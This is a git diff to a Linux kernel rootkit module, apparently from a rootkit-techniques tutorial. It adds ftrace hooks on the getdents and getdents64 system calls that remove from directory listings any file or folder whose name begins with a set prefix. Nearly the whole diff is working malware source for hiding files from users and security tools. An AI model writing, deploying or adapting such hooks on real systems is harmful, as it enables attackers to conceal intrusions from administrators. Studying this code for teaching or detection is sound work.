diff --git a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c index f970d02..ce7bf41 100644 --- a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c +++ b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c @@ -30,6 +30,7 @@ * more modern way is to use the pt_regs struct. */ #ifdef PTREGS_SYSCALL_STUBS static asmlinkage long (*orig_getdents64)(const struct pt_regs *); +static asmlinkage long (*orig_getdents)(const struct pt_regs *); /* This is our hooked function for sys_getdents64 */ asmlinkage int hook_getdents64(const struct pt_regs *regs) @@ -106,8 +107,85 @@ return ret; } + +/* This is our hook for sys_getdetdents */ +asmlinkage int hook_getdents(const struct pt_regs *regs) +{ + /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */ + // int fd = regs->di; + struct linux_dirent __user *dirent = (struct linux_dirent *)regs->si; + // int count = regs->dx; + + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; + + /* We first have to actually call the real sys_getdents syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by PREFIX. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents(regs); + dirent_ker = kzalloc(ret, GFP_KERNEL); + + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; + + /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; + + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; + + /* Compare current_dir->d_name to PREFIX */ + if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0) + { + /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find PREFIX in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } + + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } + + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; + +done: + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; + +} #else static asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count); +static asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count); static asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count) { @@ -118,7 +196,7 @@ /* We first have to actually call the real sys_getdents64 syscall and save it so that we can * examine it's contents to remove anything that is prefixed by PREFIX. * We also allocate dir_entry with the same amount of memory as */ - int ret = orig_getdents64(regs); + int ret = orig_getdents64(fd, dirent, count); dirent_ker = kzalloc(ret, GFP_KERNEL); if ( (ret <= 0) || (dirent_ker == NULL) ) @@ -177,11 +255,81 @@ kfree(dirent_ker); return ret; } + +static asmlinkage int hook_getdents(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) +{ + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; + + /* We first have to actually call the real sys_getdents syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by PREFIX. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents(fd, dirent, count); + dirent_ker = kzalloc(ret, GFP_KERNEL); + + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; + + /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; + + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; + + /* Compare current_dir->d_name to PREFIX */ + if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0) + { + /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find PREFIX in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } + + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } + + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; + +done: + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; +} #endif /* Declare the struct that ftrace needs to hook the syscall */ static struct ftrace_hook hooks[] = { HOOK("sys_getdents64", hook_getdents64, &orig_getdents64), + HOOK("sys_getdents", hook_getdents, &orig_getdents), }; /* Module initialization function */